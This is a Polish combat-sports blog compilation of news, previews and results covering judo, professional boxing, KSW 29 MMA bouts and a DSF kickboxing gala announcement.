Bez powodzenia stratowali w niedzielę Kamil Kozłowski, Kacper Larum oraz Maciej Sarnacki. Dwaj pierwsi okazali się gorsi od reprezentantów Ukrainy. Kozłowski, zawodnik Gwardii Olsztyn, walczący w kategorii 90 kg przegrał z Quedjau Nhabalim, z kolei Larum uległ Artemowi Błoszenko. Najwięcej spodziewaliśmy się po Macieju Sarnackim, który ostatnio prezentował się bardzo dobrze. Zawodnik Gwardii Olsztyn podczas ostatnich zawodów w Korei zdobył brązowy medal. W Tokio miał drobne problemy zdrowotne i przegrał już w pierwszym pojedynku. Lepszy od Polaka okazał się Japończyk Keita Iwao. Nasi reprezentanci swoje walki przegrywali, solidarnie, przez ippon.
Ostatnimi czasy doniesienia z zawodów w judo obfitowały w radość i dumę z poczynań naszych reprezentantów. W Tokio nie udało się zaistnieć, jednak z tego powodu nie wolno rozpaczać. Słabsze występy się po prostu zdarzają. Warto podkreślać dokonania naszych reprezentantów w tym sezonie i to, że polskie judo wróciło na właściwe tory. Słabszy występ może się zdarzyć. Najważniejsze, aby nie histeryzować i nie wyolbrzymiać skali tego wydarzenia.
Należy spokojnie podchodzić do kwestii występów polskich judoków. Są w dobrej formie, osiągają zadowalające wyniki i ich praca zmierza w dobrym kierunku. Czy Grand Slam w Tokio coś w tym względzie zmienia? Nie, na pewno nie. Pokazuje tylko, że to są też ludzie, którym zdarzają się słabsze występy. O tym należy pamiętać, ale trzeba też nazywać rzeczy po imieniu. W Tokio euforii nie było. Przegraliśmy. Wracamy bez sukcesu, wygraliśmy tylko dwie walki.
KM
Zapraszamy do obejrzenia wywiadu ze Sławomirem Dubą prezesem Grupy DSF oraz Arturem Przybyszem sądzimy, że znanym Wam z innych aktywności w sztukach walki. Goście opowiadają o powstaniu na polskim rynku sztuk walki nowej federacji DSF Kickboxing Challenge.
[kod]
Pojedynek Pawła Głażewskiego z Jurgenem Brahmerem przeszedł do historii. Popularny Głaz mógł stać się czwartym w historii polskim pięściarzem, który będzie dzierżył w dłoniach pas mistrza świata w boksie zawodowym. Mógł.
Paweł Głażewski stanął przed olbrzymią szansą. W Oldenburgu zmierzył się z mistrzem świata federacji WBA wagi półciężkiej Jurgenem Brahmerem. Dla Polaka było to ogromne wyróżnienie, dowód uznania dla jego ciężkiej pracy, a zarazem ogromna szansa i wyzwanie. Obaj pięściarze przygotowywali się intensywnie do rywalizacji. Głażewski i Brahmer podczas ważenia przed pojedynkiem zanotowali po 78,6 kg. Polak miał świadomość, że staje przed życiową szansą, ale większa presja spoczywa na jego rywalu. Mistrz świata jako faworyt pojedynku mógł wiele stracić. O zysk walczył za to Głażewski, ale doświadczony Brahmer doskonale wiedział jaki ciężar gatunkowy ma ten pojedynek.
Najkrócej mówiąc, zysku nie było, a mistrz świata mistrzem pozostał. Rozpoznanie rywala zajęło Brahmerowi zaledwie chwilę. Niemiec szybko zamknął Głażewskiego w narożniku i lewym hakiem trafił Polaka na wątrobę. Głaz padł na deski, a sędzia doliczył do dziesięciu. Głażewski nie był w stanie podnieść się z desek, było po walce. Brahmer odniósł łatwe zwycięstwo i zachował pas.
Niby nic dziwnego, że mistrz pokonał pretendenta. Jednakże ze smutkiem trzeba dodać, że walka trwała zaledwie 43 sekundy. Głażewski nie wyprowadził nawet jednego ciosu. Walka o mistrzowski pas była wyróżnieniem dla Głażewskiego i zarazem ogromną szansą na zaistnienie. Szansą, której polski pięściarz po prostu nie wykorzystał.
Zdecydowanym faworytem walki był Brahmer, jednak mistrz podchodził z szacunkiem do Głażewskiego. Niemiec wskazywał na poziom zaprezentowany przez Głaza w pojedynku z Royem Jonesem Jr. Choć Głażewski przegrał to pokazał się z dobrej strony. Polak liczył, że walka z Brahmerem będzie pojedynkiem jego życia. Stawka walki była ogromna – mistrzostwo świata. Czy Głażewski nie udźwignął ciężaru pojedynku?
Mistrz świata walczył u siebie, miał za sobą wsparcie publiczności. Czy Głażewskiego sparaliżował strach? Warto podkreślić stanowczo, że Brahmer był zdecydowanym faworytem, a eksperci Głazowi nie dawali wielkich szans. Mimo to należało oczekiwać, że pięściarz pokaże się z jak najlepszej strony, jednak najzwyczajniej w świecie nie dał rady. Stawka pojedynku go przerosła, a rywal szybko i zdecydowanie wykorzystał jego słabość.
Kiedyś śmiano się z Andrzeja Gołoty, który rywalizował z Lamonem Brewsterem zaledwie przez pięćdziesiąt kilka sekund. Głażewski walczył tylko czterdzieści trzy sekundy. Nie chodzi tu o żaden rekord i rozpatrywanie tego wyczynu w takich kategoriach, ale o ukazanie słabości pięściarza, który stracił ogromną szansę. Szansę, której prawdopodobnie już nigdy nie dostanie. Co zawiodło? Złe przygotowanie mentalne? Bo o kondycyjnym nie jesteśmy w stanie nic powiedzieć.
KM
Kraków był świadkiem interesujących pojedynków. W większości przypadków o wynikach rywalizacji rozstrzygali sędziowie. Podczas KSW 29 najefektowniej walkę zakończył Borys Mańkowski.
Mańkowski krok po kroku wyrasta na czołową postać KSW i polskiego MMA. Nie da się ukryć, że fighter z każdą kolejną walką prezentuje się zdecydowanie lepiej. Rozwój Mańkowskiego przebiega harmonijnie. Na KSW 29 szybko rozprawił się z Davidem Zawadą, który takim obrotem sprawy mógł być zaskoczony. Mańkowski zdecydowanie poszedł rywalowi w nogi, zdobył pozycję boczną i zakończył pojedynek poprzez duszenie trójkątne. Zawada nie miał wyjścia, poddanie było jedynym rozwiązaniem. Mańkowski zwyciężył efektownie i szybko, tym samym pokazując, że czeka na kolejne wyzwanie. Być może kolejnym przeciwnikiem polskiego fightera będzie wojownik z zagranicy o określonych umiejętnościach.
Niezadowolony był Piotr Strus, Jay Silva sfrustrowany, a publiczność oburzona. Walka Polaka z Amerykaninem była ciekawa i owocowała w większości w ciosy w stójce. Silva prowokował Strusa swoim nonszalanckim zachowaniem, co było przemyślaną taktyką. Polak jednak nie rzucił się na przeciwnika, tylko umiejętnie zadawał ciosy. Warto podkreślić, że Silva uderzał zdecydowanie mocniej, czym robił wrażenie na Strusie. Polski fighter był aktywny, jednak Amerykanin pokazał, że jest bardziej doświadczony. Ani aktywność, ani doświadczenie nie pomogły żadnemu z wojowników w wygranej. Sędziowie nie potrafili wskazać zwycięzcy.
Mateusz Gamrot na punkty pokonał Łukasza Chlewickiego. 23-latek w pierwszej rundzie zdobył obalenie i ciosami punktował rywala. Ponadto, Gamrot dominował w wymianach bokserskich, czym postawił kropkę nad „i”. Chlewicki okazał się słabszy od młodszego rywala. Kontrowersje po walce Artura Sowińskiego z Vaso Bakoceviciem. Kornik w drugiej odsłonie naciągnął głowę rywala na kolano. Bakocević w trzeciej rundzie starał się zdominować Sowińskiego. Serb sprowadził walkę do parteru i okładał Kornika ciosami z góry. Sędziowie niejednogłośnie przyznali zwycięstwo Sowińskiemu. Bakocević po walce wyrażał niezadowolenie z tego faktu. Narożnik poddał Tomasza Kondraciuka w pojedynku z Karolem Celińskim. Obaj fighterzy postawili na bogatą wymianę ciosów. Celiński pod koniec pierwszej rundy zaczął przeważać, ale Kondraciuk dzielnie się bronił. Robert Radomski decyzją sędziów pokonał Mateusza Piskorza.
Wielu emocji publiczności w Krakowie dostarczyli Tomasz Narkun i Goran Relijć. Przed zwycięzcą otwierała się szansa walki o pas wagi półciężkiej. Narkun i Relijć stworzyli widowisko. Przez trzy rundy zaprezentowali pełen repertuar możliwości i większość technik. Parter, stójka, liczne kopnięcia i ciosy z góry – te elementy w pełni zostały zaprezentowane w tym pojedynku. Narkun przegrał na punkty, co uniemożliwia mu walkę o pas. Relijć ma szansę na tytuł. Z kim przyjdzie mu walczyć?
Największe emocje związane były ze starciami na szczycie. Dogrywka rozstrzygała o wygranej w pojedynku Mariusza Pudzianowskiego z Pawłem Nastulą. Starcie rozpoczęło się od wymian w stójce, jednak mistrz olimpijski z Atlanty popełnił błąd, który sporo go kosztował. Pudzian zajął pozycję z góry i mógł okładać rywala. Pudzianowski w drugiej rundzie zdobył obalenie, jednak sędzia podniósł walkę do stójki. Były strong-man po raz kolejny chciał „zejść” na ziemię, ale była to nieudana próba. Nastula nie poddawał się i próbował zaskoczyć rywala efektownym zagraniem. Były judoka podjął próby założenia dźwigni na rękę – jedną z góry, drugą z pleców. Nie udało się. Sędziowie stanęli przed trudnym wyborem i zdecydowali się na dogrywkę. W niej więcej sił zachował Pudzian, który mógł cieszyć się z wygranej.
Po walce Pudzianowski podkreślał wartość i umiejętności Nastuli. Mistrz olimpijski z Atlanty zapewne stoczył ostatnią walkę w MMA. Pudzian odniósł ósme zwycięstwo podczas swojej przygody z mieszanymi sztukami walki. Pojedynek wielkich twardzieli był pełen zwrotów akcji, jednak w dużej mierze różnica wieku i przygotowanie kondycyjne sprawiło, że Pudzianowski wraz z upływem czasu był bliższy zwycięstwa. Próby założenia dźwigni przez Nastulę pokazały jego ogromne doświadczenie, umiejętności i efektywność. Mistrz odchodzi, ale żegna się z godnością.
Walka wieczoru miała wyglądać nieco inaczej. Miała, bo pisano różne scenariusze, jednakże mało, kto spodziewał się, że Cooper okaże się tak wymagającym rywalem. Mamed Khalidov dawno nie napotkał takiego oporu ze strony swojego przeciwnika. Cooper nie pozwolił Czeczenowi na wykorzystanie jego największej broni, czyli parteru. Rzecz jasna, że Khalidov sprowadzał walkę na ziemię, jednak Amerykanin nie pozwolił się zaskoczyć żadną sztuczką. W stójce Mamed kontrolował rywalizację i to jemu sędziowie przyznali zwycięstwo. Dawno nie było takiej sytuacji, nikt nie spodziewał się takiej walki. Khalidov od 2010 roku wygrał dziesięć walk, ale tylko z Cooperem na punkty. Coś się zmieniło. Być może kwestią podstawową było ograniczenie możliwości Mameda w parterze. Z drugiej strony warto pamiętać, że przed galą Khalidov nabawił się kontuzji, która utrudniała mu rywalizację.
KSW 29 to swego rodzaju karnawał sędziów. Wiadomo, że do decyzji arbitrów zawsze można mieć zastrzeżenia, ale w Krakowie publiczność dała wyraz swemu niezadowoleniu, co było słuszne. Warto podkreślić, że całe audytorium zaskoczył Cooper, który jako jeden z niewielu był w stanie postawić Mamedowi wysokie wymagania. W pojedynku twardzieli lepszy Pudzianowski. Nastula kończy przygodę z MMA, jednak porażka nic mu nie ujmuje. Nadal jest wielkim mistrzem, mistrzem olimpijskim, który posiada ogromne umiejętności i wiedzę. Coraz lepiej poczyna sobie Borys Mańkowski. Stopniowo staje się coraz wyrazistszą postacią KSW, być może niedługo będzie gwiazdą federacji. Szkoda porażki Tomasza Narkuna, który miał szansę walczyć o pas.
Co dalej z Khalidovem? Ile będzie musiał się leczyć w związku z odniesioną kontuzją? Wiadomo, że chodzi o pojedynek z Tomaszem Drwalem. Ta walka nadal jest na afiszu. Wszyscy na nią czekają. Aby o jej wyniku nie musieli decydować sędziowie.
Wyniki KSW 29:
84 kg: Mamed Chalidow pokonał Bretta Coopera przez jednogłośną decyzję
125 kg: Mariusz Pudzianowski pokonał Pawła Nastulę przez jednogłośną decyzję po dogrywce.
77 kg: Borys Mańkowski pokonał Davida Zawadę przez poddanie
84 kg: Piotr Strus zremisował z Jay’em Silvą –
93 kg: Goran Reljic pokonał Tomasza Narkuna przez większościową decyzję
70 kg: Mateusz Gamrot pokonał Łukasza Chlewickiego przez jednogłośną decyzję
66 kg: Artur Sowiński pokonał Vaso Bakocevica przez niejednogłośną decyzję
93 kg: Karol Celiński pokonał Tomasza Kondraciuka przez TKO
77 kg: Robert Radomski pokonał Mateusza Piskorza przez jednogłośną decyzję
KM
Mateusz Masternak lepszy od Jeana Marca Mormecka. Polak zwyciężył na punkty, choć walka we Francji do najłatwiejszych nie należała.
Master stanął przed wyzwaniem, gdyż przyszło mu mierzyć się z rywalem, który posiada bogate CV, choć z drugiej strony jest wiekowy. Mimo wszystko Mormeck to pięściarz solidny i wytrzymały, o czym przekonał się Masternak. Francuz liczył, że zaskoczy Mastera pressingiem, jednak rozczarował się w tym względzie. Były mistrz świata WBA i WBC wagi junior ciężkiej miał problem z Masternakiem, który od początku pojedynku wyeliminował jeden z największych atutów swojego przeciwnika. Polak sprytnie zmuszał Francuza do cofania się, co spowodowało, że nie miał on możliwości walki w półdystansie. Master trzymał dystans i ranił Mormecka prawym podbródkowym. Pojedynek szybki i efektowny. W trzeciej rundzie Masternak stosował prawe krzyżowe, ale w końcówce Francuz trafił lewym sierpowym. Kolejna odsłona dla Mormecka, który sierpami skutecznie uderzał Masternaka. Polski pięściarz wrócił na właściwe tory i w kolejnych rundach przeważał. Serie ciosów Mastera dawały się we znaki Francuzowi, zwłaszcza w końcówce walki. Jeszcze w ósmej rundzie Mormeck próbował zaskoczyć Masternaka, jednak bez efektu.
Po dziesięciu rundach wszyscy z niecierpliwością czekali na werdykt sędziowski. Czekali i to długo. Tak długo jak Master czekał na swojego rywala w ringu. Czy była to świadoma zagrywka taktyczna? Mormeck kazał na siebie czekać i przedłużał moment wejścia do ringu. Ringu, który był mniejszy niż powinien. Dlaczego? To ukłon w stronę Francuza. Mniejszy ring teoretycznie miał umożliwić 42-letniemu pięściarzowi zdominowanie Masternaka. Wszystkie próby i zagrywki okazały się nieudane. Sędziowie liczyli, naradzali się i w końcu podali ostateczny werdykt. Dwóch arbitrów wskazało na Masternaka, jeden ogłosił remis. Master zdobył Francję.
Ciężko walczy się na obcym terenie, zwłaszcza na terenie przeciwnika. Jak pokazuje historia tej walki – rywal stosował różne kombinacje. Mimo wszystko Masternak na płaszczyźnie sportowej udowodnił, kto jest lepszy.
Tym samym Polak potwierdził, że jest w stanie wrócić do rywalizacji na najwyższym poziomie. Po porażce z Kalengą, która nie powinna mieć miejsca, pozycja Masternaka została zachwiana. W walce z Mormeckiem polski pięściarz pokazał, że ma potencjał i umiejętności predysponujące go do boksowania na wysokim poziomie. Prawda jest taka, że Master wygrał z 42-latkiem, jednak ten „staruszek” mierzył się z Władimirem Kliczko i był mistrzem WBC i WBA, co potwierdza jego poziom sportowy. Prawdopodobnie istotna jest kwestia pewności siebie i mentalnego przygotowania do walki. Jak już wielokrotnie podkreślaliśmy, przed Kalengą nikt nie klękał i Master mógł „na luzie” podejść do walki z nim. W rywalizacji z Mormeckiem chciał się odbudować, a ponadto – przyszło mu walczyć z kimś z nazwiskiem.
Zwycięstwo Masternaka cieszy i pozwala myśleć realnie o tym, że Polak cały czas będzie piął się w górę. Master to pięściarz, który jest ułożony, a dodatkowo jest w pełni skupiony na boksie. Oby tylko zawsze był w ringu całym sobą. Bo potencjał ma w sobie ogromny. Zdobył Francję, co zdobędzie kolejnym razem? Kiedy przyjdzie czas na Lebiediewa?
KM
Zapraszamy do obejrzenia relacji na żywo z zawodów Judo Grand Slam, które odbywają się w Tokyo.
[kod]
Polska zawodniczka Taekwondo urodzona 25 września 1983 roku w Warszawie. Wielokrotna mistrzyni Świata, Europy i Polski w kategorii walk indywidualnych jak i drużynowych w Taekwodo w kategorii wagowej do 63 kg. Zdobywczyni Pucharów Świata, Europy i Polski. Joanna trenowała w takich klubach jak LKS „Lotos” Jabłonna oraz LKSW „Tajfun”. Jej trenerem był Tomasz Szczepaniuk. Łącznie zdobyła 10 razy mistrzostwo Polski. Startowała również na mistrzostwach otwartych na których zdobyła 13 złotych medali.
Dotychczasowe osiągnięcia na zawodach międzynarodowych Joanny to:
Mistrzostwa Świata:
Puchary Świata:
Mistrzostwa Europy:
Puchary Europy:
Niepodzielny władca wagi ciężkiej Władimir Kliczko czeka na kolejnego rywala. Ukraiński bokser jest bliski zakontraktowania przeciwnika.
Władimir Kliczko dzierży w swoich dłoniach cztery pasy: WBO/IBO/WBA/IBF. Dla wielu pięściarzy rywalizacja z ukraińskim mistrzem to przede wszystkim prestiż, ale także sława i pieniądze. Zmierzyć się z Władimirem Kliczko to jak dotknąć gwiazd, jakby wejść na szczyt. Kwestią otwartą pozostaje, czy ten szczyt można zdobyć? W wielu wypadkach okazuje się, że nie. Kto będzie następny? Kto odważy się stanąć naprzeciw mistrza wagi ciężkiej?
Według doniesień BoxingScene.com bliski podpisania kontraktu na walkę z Kliczko jest Bryant Jennings. Amerykanin do tej pory na zawodowym ringu stoczył dziewiętnaście pojedynków i wszystkie wygrał. Warto nadmienić, że Jennings walczył również z Arturem Szpilką. Wydaje się, że dni dzielą nas od komunikatu na temat podpisania kontraktu na walkę Amerykanina z Ukraińcem. Pojedynek miałby odbyć się 25 kwietnia w Nowym Jorku. Dla ukraińskiego mistrza byłoby to novum, gdyż przyzwyczajony jest do rywalizacji w Niemczech. Jednak Stany Zjednoczone to inny poziom, a Kliczko idealnie tam pasuje. Gotowa na tą walkę jest również stacja HBO, która przygotowała już budżet na tą okoliczność.
Momentami wydaje się, że coś jest niemal pewne, ale nie udaje się osiągnąć porozumienia. Często takie sytuacje mają miejsce w sportach walki, a zwłaszcza w boksie, gdzie w grę wchodzą duże pieniądze. Jeśli nie doszłoby do rywalizacji Jenningsa z Kliczko, to kolejnym rywalem Ukraińca najprawdopodobniej zostałby Shannon Briggs. Jak widać obóz mistrza świata wagi ciężkiej ma przygotowaną opcję rezerwową.
Pozostając w kręgu rywali Władimira Kliczko, warto zwrócić uwagę na ciekawie zapowiadającą się rywalizację Wiaczesława Głazkova ze Steve’m Cunninghamem. Rywalizacja 30-letniego Ukraińca z 38-letnim Amerykanin ma status eliminatora federacji IBF w kategorii ciężkiej. Zwycięzca pojedynku będzie kolejnym rywalem Władimira Kliczko. Głazkov z Cunninghamem spotkają się w ringu 14 marca. Ich rywalizacja zapowiada się niezwykle interesująco. 38-latek imponuje doświadczeniem i dorobkiem. Cunningham był mistrzem świata wagi crusier. Z kolei Głazkov to jeden z ciekawszych bokserów wagi ciężkiej, której ton nadają pięściarze ze Wschodu. Czy Ukrainiec udowodni, że czas amerykańskich zawodników w wadze ciężkiej dobiega końca? Z pewnością Głazkova stać na pokonanie Cunninghama, jednak w dalszej perspektywie pozostaje bez szans w rywalizacji z Kliczko.
Kto teraz wejdzie do ringu z mistrzem świata? Wszystko wskazuje na Jenningsa, z którym rozmowy są bardzo zaawansowane i wszystkie znaki przemawiają za Amerykaninem. Opcją rezerwową dla Kliczko pozostaje Briggs. Rywalizacja w eliminatorze IBF wyłoni kolejnego konkurenta dla mistrza świata.
Oceny na temat szans poszczególnych pięściarzy w potyczce z Kliczko są podobne. Większość z nich skazana jest na porażkę w tej rywalizacji. Czy Kliczko nadal będzie panował niepodzielnie? Kto mu zagrozi? Wychodzi na to, że trzeba poczekać. Być może Tyson Fury, który imponuje warunkami fizycznymi, byłby w stanie zagrozić mistrzowie? Ale kiedy mogłoby dojść do takiej walki?
KM
Dwudziesta dziewiąta już gala Konfrontacji Sztuk Walki miała wyglądać nieco inaczej. Mamed Khalidov w rywalizacji z Tomaszem Drwalem, jednak z powodu urazu tego drugiego do starcia nie dojdzie. Kontuzja uniemożliwiła występ na gali Michałowi Materli. Czy w związku z tym KSW 29 będzie nudne? A może przełomowe?
Dlaczego KSW 29 ma być przełomowe? Na początek słów kilka o „wisienkach na torcie”. Paweł Nastula stanie naprzeciw Mariusza Pudzianowskiego. Starcie tytanów, potężnych fighterów, dla których będzie to trudny pojedynek. Pudzianowski podczas swoich występów w MMA nie rywalizował z tak utytułowanym zawodnikiem, dla Nastuli będzie to wyzwanie. Mistrz olimpijski z Atlanty stanie naprzeciw najsilniejszego człowieka świata. Mamed Khalidov zmierzy się z byłym pretendentem do tytułu Bellatora Brettem Cooperem. Pojedynek zapowiada się interesująco, ale faworyt jest tylko jeden. Mamed tej walki przegrać nie może.
Pojedynek wielkiej wagi stoczy Tomasz Narkun, którego rywalem będzie Goran Relijć. Stawką rywalizacji jest możliwość walki o tytuł mistrzowski wagi półciężkiej. Początkowo pas dzierżył w swoich rękach Rameau Thierry Sokoudjou, który utracił go na rzecz Jana Błachowicza. Polak w styczniu podpisał kontrakt z UFC i tym samym tytuł czeka na nowego właściciela. Który z panów wyciągnie ku niemu ręce? Dla Narkuna to ogromna szansa i większa mobilizacja do walki. Polak stoczy drugi pojedynek dla KSW. Rywalizacja z Relijciem może być przełomowa dla Narkuna, gdyż zwycięstwo pozwala realnie myśleć o pasie. Chorwat na KSW pojawi się po raz trzeci. Do tej pory wygrał z Karolem Celińskim i poniósł porażkę w starciu z Błachowiczem.
Borys Mańkowski zmierzy się z Davidem Zawadą. Ta rywalizacja zapowiada się niezwykle ciekawie. Mańkowski czyni postępy i coraz śmielej poczyna sobie w KSW. Czy Zawada jest w zagrozić swojemu przeciwnikowi? Kolejną szansę występu na KSW dostał Vaso Bakocević, który podczas poprzedniej gali efektownie rywalizował z Maciejem Jewtuszką, jednak poległ. Jego rywalem będzie Artur Sowiński. Kornika i Bakocevicia łączy fakt, iż obaj mają na swoich kontach przegrane walki z Jewtuszką. Sowiński będzie chciał pokazać się z jak najlepszej strony, wykorzystując swoją ruchliwość i spryt. Bakocević pokazał, że potrafi efektownie oraz skutecznie walczyć. Czy gość z Bałkanów po raz drugi będzie musiał uznać wyższość zawodnika z Polski?
Ogromna szansa przed Piotrem Strusem. Jay Silva to znane nazwisko na mapie MMA. Strus zmierzy się z trudnym rywalem i w tej konfrontacji Polak nie jest faworytem. Silva w rywalizacji z jednym z najlepszych fighterów w Polsce, Michałem Materlą, pokazał, że ma umiejętności predysponujące go do walki i zachwycania publiczności. Czy Strus jest w stanie zagrozić Silvie? Utalentowany Mateusz Gamrot zmierzy się z Łukaszem Chlewickim. 23-latek bardzo dobrze spisuje się na galach KSW. Do tej pory stoczył trzy pojedynki i trzy wygrał. Z kolei Chlewicki to prawdziwy obieżyświat, który w niejednym zakątku świata toczył swoje pojedynki. Swego czasu związany był z federacją Fighters Arena.
Brakuje Drwala, nie ma Materli. Są za to inni. Na czołówkę wysuwają się starcia Nastuli i Pudzianowskiego. Oczywiście, wszyscy czekają na Mameda. Ciekawie zapowiada się rywalizacja Mańkowskiego z Zawadą. Duże wyzwanie przed Piotrem Strusem, który stanie do walki z Jayem Silvą. Co pokaże Tomasz Narkun i czy zbliży się do rywalizacji o pas?
KSW 29 może być przełomowe. Przed ogromną szansą stają Narkun i Strus. Coraz śmielej poczyna sobie Borys Mańkowski. Czy powoli rozpoczyna się proces wymiany elit w KSW?
Walki główne KSW 29:
Mateusz Gamrot vs Łukasz Chlewicki
Artur Sowiński vs Vaso Bakocevic
Tomasz Narkun vs Goran Reljic
Piotr Strus vs Jay Silva
Borys Mańkowski vs David Zawada
Mariusz Pudzianowski vs Paweł Nastula
Mamed Khalidov vs Brett Cooper
KM
Khalidov – Drwal na afiszu, ale tego pojedynku na KSW 29 nie będzie. Będzie za to rywalizacja tuzów – Pawła Nastuli i Mariusza Pudzianowskiego. Wielkie wydarzenie, walka dwóch twardzieli.
Patrząc z czysto statystycznego punktu widzenia to Pudzian ma lepszy bilans w MMA. Pudzianowski siedem pojedynków wygrał, a tylko trzy przegrał. Paweł Nastula wychodzi na zero – pięć zwycięstw i pięć porażek. Tyle statystyka – tyleż prawdziwa, co często dostarczająca mylnych informacji. Warto zauważyć, że mimo wszystko to mistrz olimpijski ma większe doświadczenie w sztukach walki.
Zajmijmy się porównaniem doświadczeń obu panów w mieszanych sztukach walki. Paweł Nastula może pochwalić się rywalizacją dla organizacji PRIDE. Sam występ na gali tego formatu jest już wyznacznikiem poziomu zawodnika. Nastula to fighter z prawdziwego zdarzenia. Oczywiście, zaraz pojawią się glosy, że wystąpić każdy może, ale żeby coś jeszcze ugrać. Fakt, Nastula świata nie zawojował. Ale – no właśnie, kto dostąpił możliwości rywalizacji z Aleksandrem Jemieljanienko? Nastula przegrał z Rosjaninem przez duszenie. Na PRIDE pokonał przez dźwignię na łokieć Brazylijczyka Edsona Dragona. Zagraniczne wojaże Nastula zakończył z bilansem 1-4. Zaczął swoje dokonania poprawiać w Polsce, gdzie zwycięsko kończył rywalizację z Yusuke Masudą, Andrzejem Wrońskim oraz dwoma zawodnikami z USA –Jimmy’m Ambrizem i Kevinem Asplundem. Na KSW 24 Nastula przegrał za to z Karolem Bedorfem, bardzo mocnym, wytrzymałym i skutecznym fighterem. Z kolei Pudzianowski ma na swoim koncie większość występów na polskiej ziemi, pod płaszczem KSW. Jedyna walka poza granicami kraju z Timem Sylvią zakończyła się porażką Pudziana. Podczas gal KSW przegrał dwukrotnie – z Jamsem Thompsonem oraz Shanem McCorklem. W obu przypadkach były strongman stoczył pojedynki rewanżowe. Walki z Thomsponem nie rozstrzygnięto, a rywalizacja z McCorklem zakończyła się dla Pudziana zwycięsko. Dla przypomnienia, Pudzian zaczynał w MMA od słynnej walki z Marcinem Najmanem. Wszyscy doskonale pamiętają również jego pojedynki z wielkimi i ociężałymi – Bobem Sappem oraz Butterbanem.
Po krótkiej analizie dokonań widać, że Paweł Nastula ma bogatsze i poważniejsze doświadczenia. Nie oszukujmy się, Mariusz Pudzianowski uczy się sportów walki i nie ma tak bogatych dokonań jak mistrz olimpijski z Atlanty w judo. Pudzian początkowo miał wypromować KSW, pomóc w promocji MMA w Polsce. Tyle, że mistrz świata strongmanów odnalazł się w tym i chce nadal uczestniczyć w świecie sportów walki.
Z czysto sportowego punktu widzenia faworytem jest Nastula, który ma za sobą pełną sukcesów karierę w judo. Z kolein Pudzian jest silnym i mocnym zawodnikiem, ale naturalnych umiejętności fighterskich nie ma. Repertuar Nastuli jest o wiele bogatszy. Z pewnością judoka jest w stanie rywalizować zarówno w stójce jak i w parterze. Co do Pudziana, można mieć wątpliwości. Pudzianowski raczej postawi na mocne ciosy połączone z low-kickami. Parter w rywalizacji z Nastulą może okazać się dobrowolnym skazaniem się na porażkę. Warto zwrócić uwagę na fakt, że jest to pojedynek w wadze ciężkiej, gdzie jeden cios może zmienić wszystko. Choć to Nastula ma ogromne doświadczenie w sportach walki to wystarczy chwila zawahania, aby losy rywalizacji rozstrzygnęły się. Pudzianowi można odmówić umiejętności klasy mistrzowskiej, można zarzucić, że nie jest profesjonalistą, ale nie można zapomnieć, iż ma siłę i nie ucieka od walki.
Nastulę charakteryzuje spokój, opanowanie i umiejętność rywalizacji na najwyższym poziomie. Czy Pudzian utrzyma nerwy na wodzy? Jak zachowa się Nastula? Można pisać rożne scenariusze, ale wszystko i tak rozstrzygnie się po pierwszym gongu. To może być chwila, ułamek sekundy, kiedy wszystko stanie się jasne.
Tym razem Khalidov będzie w cieniu. Może nie sam Mamed, ale jego pojedynek. Nastula z Pudzianem są na afiszu. Który z nich 6 grudnia będzie mógł stanąć w blasku chwały? Doświadczony i spokojny Nastula czy silny i waleczny Pudzianowski?
KM
DSF Kickboxing Challenge 2 już 13 grudnia w Ząbkach pod Warszawą!
Zobacz wschodzące gwiazdy polskiej sceny zawodowego kickboxingu i K-1. Zostań naocznym świadkiem początku nowej marki, nowej jakości sportów uderzanych w Polsce. Już 13 grudnia w Ząbkach pod Warszawą druga odsłona gali DSF Kickboxing Challenge z udziałem młodych i zdolnych zawodników z Polski z zagranicy.
Organizator gali, Grupa DSF przyszykowała dla miłośników sportów uderzanych turniej K-1 w kategorii do osiemdziesięciu jeden kilogramów, pojedynek kickbokserski w formule full contact oraz dwie walki wieczoru, których to stawką będą mistrzowskie pasy Polskiego Związku Kickboxingu.
W pierwszym pojedynku wieczoru zobaczymy panie, a stawką tego starcia będzie tytuł Zawodowej Mistrzyni Mazowsza K-1 w kategorii do pięćdziesięciu sześciu kilogramów.
W tej walce swoje umiejętności zaprezentuje zawodniczka DSF Kickboxing Team Dorota Godzina (7-0-0), wszechstronna kickbokserka, dwukrotna Mistrzyni Świata amatorów i wielokrotna Mistrzyni Polski w różnych formułach walki.
Rywalką doświadczonej Godziny będzie obiecująca zawodniczka Semiramida Pułtusk, Ewelina Nowosielska, która w swoim dorobku ma już m.in. brązowy medal Mistrzostw Świata juniorów i Mistrzostwo Polski juniorów.
Ostatnim pojedynkiem grudniowej gali, a zarazem drugą walką wieczoru będzie rewanżowe starcie pomiędzy reprezentantem DSF Kickboxing Team Łukaszem Wichowskim (2-0-0) i pochodzącym ze Słowacji, trenującym w Klub Kickboxing Koszyce, Tomasem Neupauerem.
Obaj zawodnicy walczyli ze sobą we wrześniu tego roku podczas pierwszej edycji gali DSF Kickboxing Challenge. W tamtym starciu lepszym okazał się reprezentant biało-czerwonych, który wygrał przez nokaut i tym samym zdobył pas Zawodowego Młodzieżowego Międzynarodowego Mistrza Polski w formule full contact.
Konfrontacja zapowiada się bardzo interesująco, gdyż naprzeciw siebie staje dwóch utytułowanych zawodników. Wichowski, który posiada w dorobku m.in. Puchar Świata amatorów i Neupauer, który trzykrotnie był najlepszym zawodnikiem w swoim kraju. Pierwsza walka była bardzo ostra i obfitowała dużą ilość wymian ciosów. W tym pojedynku na pewno będzie podobnie.
To nie koniec atrakcji, jakie przygotował dla wszystkich fanów organizator przedsięwzięcia, właściciel firmy Grupa DSF, Sławomir Duba. Gośćmi honorowymi grudniowej gali będą znakomici zawodnicy MMA, którzy w przeszłości walczyli i w kickboxingu i w K-1, Jan Błachowicz i Marcin Różalski, a także mistrzyni Federacji KSW Karolina Kowalkiewicz oraz Anzor Azhiev.
Honorowym Patronem gali DSF Kickboxing Challenge jest Burmistrz Miasta Ząbki, Robert Perkowski. Bilety na widowisko są bezpłatne i można je nabywać w Urzędzie Miasta Ząbki przy ulicy Wojska Polskiego 10 od 20 listopada.
DSF Kickboxing Challenge II – KARTA WALK
Walki rankingowe (3 x 2 min):
Turniej w K-1 81 kg- półfinały (3×2 min):
Walki Wieczoru :
O zawodowe Mistrzostwo Mazowsza K-1 56 kg (3×3 min):
W obronie pasa zawodowego Międzynarodowego Mistrza Polski młodzieżowców 81 kg full contact (5 x 2 min):
MOCNA OBSADA TURNIEJU K-1 NA GALI DSF KICKBOXING CHALLENGE 2
